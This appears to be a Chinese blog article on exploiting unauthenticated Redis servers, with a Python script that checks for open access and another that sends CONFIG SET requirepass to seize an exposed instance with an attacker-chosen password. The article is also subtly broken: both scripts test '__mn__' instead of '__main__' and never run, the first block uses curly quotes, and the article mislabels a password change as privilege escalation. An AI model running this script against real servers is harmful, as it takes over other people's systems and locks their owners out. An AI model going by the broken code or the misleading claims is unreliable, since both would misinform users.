Redis未授权提权技巧解析（redis未授权怎么提权）

Redis未授权提权技巧解析

Redis是一种流行的开源内存数据结构存储系统，常用于缓存、队列和消息代理等应用场景。然而，如果Redis未正确配置，攻击者可以利用其进行未授权访问和提权攻击。

未授权访问漏洞

当Redis未设置密码或使用弱密码时，攻击者可以利用该漏洞通过TCP连接直接访问Redis服务器。一旦连接成功，攻击者就可以利用Redis的命令来获取敏感信息、执行远程代码等攻击行为。

以下是检测Redis未授权访问漏洞的Python脚本：

“`python

import socket

HOST = ‘localhost’ # Redis主机地址

PORT = 6379 # Redis默认端口

def check_redis_auth():

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

s.connect((HOST, PORT))

s.sendall(b’INFO\r\n’)

response = s.recv(1024)

if “redis_version” in response.decode(‘utf-8’):

print(“[+] Redis未授权访问漏洞存在”)

else:

print(“[-] Redis未授权访问漏洞不存在”)

except:

print(“[-] Redis连接失败”)

finally:

s.close()

if __name__ == ‘__mn__’:

check_redis_auth()


提权攻击漏洞

Redis提供了一个CONFIG SET命令，可用于设置Redis的配置参数。攻击者可以通过这个命令来修改Redis的配置文件，包括设置requirepass选项的密码。一旦成功设置密码，攻击者就可以通过认证来获得对Redis服务器的完全控制权。

以下是检测Redis提权漏洞的Python脚本：

```python
import socket
HOST = 'localhost'  # Redis主机地址
PORT = 6379  # Redis默认端口
PASSWORD = 'p@ssw0rd'  # 攻击者设置的密码

def exploit_redis_auth():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((HOST, PORT))
        s.sendall(b'CONFIG SET requirepass '+ bytes(PASSWORD.encode('utf-8')) + b'\r\n')
        response = s.recv(1024)
        if response.decode('utf-8').strip() == 'OK':
            print("[+] Redis提权漏洞利用成功，密码为：" + PASSWORD)
        else:
            print("[-] Redis提权漏洞利用失败")
    except:
        print("[-] Redis连接失败")
    finally:
        s.close()
if __name__ == '__mn__':
    exploit_redis_auth()